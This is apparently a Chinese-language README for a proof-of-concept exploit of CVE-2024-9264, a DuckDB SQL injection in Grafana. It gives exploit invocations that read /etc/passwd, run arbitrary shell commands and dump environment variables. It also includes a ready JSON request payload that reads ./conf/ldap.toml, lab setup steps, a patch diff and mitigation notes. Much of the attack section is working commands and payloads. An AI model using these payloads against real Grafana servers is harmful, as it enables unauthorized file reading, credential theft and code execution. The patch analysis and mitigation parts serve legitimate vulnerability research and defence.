该 PoC 演示了如何利用 CVE-2024-9264，通过认证用户执行 DuckDB SQL 查询，从而读取文件系统上的任意文件或远程执行任意代码。
任意代码仅在 Grafana v11.0.0 上可以执行。
所有受影响版本均可读取文件。
环境准备： 通过以下命令安装所需依赖：
pip install -r requirements.txt
文件读取（通用）：
python3 CVE-2024-9264.py -u user -p pass -f /etc/passwd http://localhost:3000
命令执行（仅 v11.0.0）
python3 CVE-2024-9264.py -u user -p user -c <shell-cmd> http://localhost:3000
您还可以执行任意 DuckDB 查询，例如调用 getenv 来获取环境变量：
python3 CVE-2024-9264.py -u user -p pass -q "SELECT getenv('PATH')" http://localhost:3000
可利用的 DuckDB 工具函数列表可参见此处。
CVE-2024-9264 是 Grafana 实验性 SQL Expressions 功能中的一个 DuckDB SQL 注入漏洞。任何认证用户都可以通过修改 Grafana 仪表板中的表达式来执行任意 DuckDB SQL 查询。
受影响版本：
已修复版本：
Grafana 发布了特殊版本来修复此漏洞。要分析补丁，可以使用以下命令来比较更改：
git checkout v11.0.5+security-01
git diff 0421a8911cfc05a46c516fd9d033a51e52e51afe 70316b3e1418c9054017047e63c1c96abb26f495
这揭示出受漏洞影响的版本中 SQL Expressions 功能被直接移除了。
+++ b/pkg/expr/sql/db.go
@@ -0,0 +1,26 @@
+package sql
+
+import (
+ "errors"
+
+ "github.com/grafana/grafana-plugin-sdk-go/data"
+)
+
+type DB struct {
+}
+
+func (db *DB) TablesList(rawSQL string) ([]string, error) {
+ return nil, errors.New("not implemented")
+}
+
+func (db *DB) RunCommands(commands []string) (string, error) {
+ return "", errors.New("not implemented")
+}
+
+func (db *DB) QueryFramesInto(name string, query string, frames []*data.Frame, f *data.Frame) error {
+ return errors.New("not implemented")
+}
+
+func NewInMemoryDB() *DB {
+ return &DB{}
+}
@@ -85,7 +84,7 @@ func (gr *SQLCommand) Execute(ctx context.Context, now time.Time, vars mathexp.V
rsp := mathexp.Results{}
- duckDB := duck.NewInMemoryDB()
+ duckDB := sql.NewInMemoryDB()
var frame = &data.Frame{}
err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame);
if err != nil {
该补丁完全移除了 SQL Expressions，从而杜绝了被利用的可能性。
启动 Grafana： 运行版本为 11.0.5 的 Grafana：
docker run --name=grafana -p 3000:3000 grafana/grafana-enterprise:11.0.5
修改表达式：
创建一个包含类似“Math”表达式的仪表板，使用 Burp 拦截请求，并将 datasource 类型从 math 修改为 sql。
一个 HTTP 请求将被发送到 /api/ds/query?ds_type=__expr__&expression=true&requestId=Q101。
以下是执行 DuckDB SQL 查询以读取任意文件（如 ./conf/ldap.toml）所需的最小 JSON：
{
"queries": [
{
"refId": "B",
"datasource": {
"type": "__expr__",
"uid": "__expr__",
"name": "Expression"
},
"type": "sql",
"hide": false,
"expression": "SELECT content FROM read_blob(\"./conf/ldap.toml\")",
"window": ""
}
],
"from": "1729313027261",
"to": "1729334627261"
}
实际的漏洞利用并不需要存在仪表板，这只是找到执行查询所需 HTTP 请求的一种简便方式。
需要注意的是，尽管该漏洞非常严重，但其可利用性取决于 Grafana 服务器上是否安装了 DuckDB 二进制文件。默认情况下，Grafana 并不附带安装 DuckDB，并且也无法直接从 Grafana 界面进行安装。
要利用此漏洞，管理员必须手动安装 DuckDB，并将其添加到 Grafana 服务器的 $PATH 中。 如果 DuckDB 不存在，则无法利用该 SQL 注入漏洞，这大大降低了默认安装环境下成功利用的可能性。
将 Grafana 更新到已修复版本，并确保在延迟修补的情况下，$PATH 中不存在 DuckDB 二进制文件。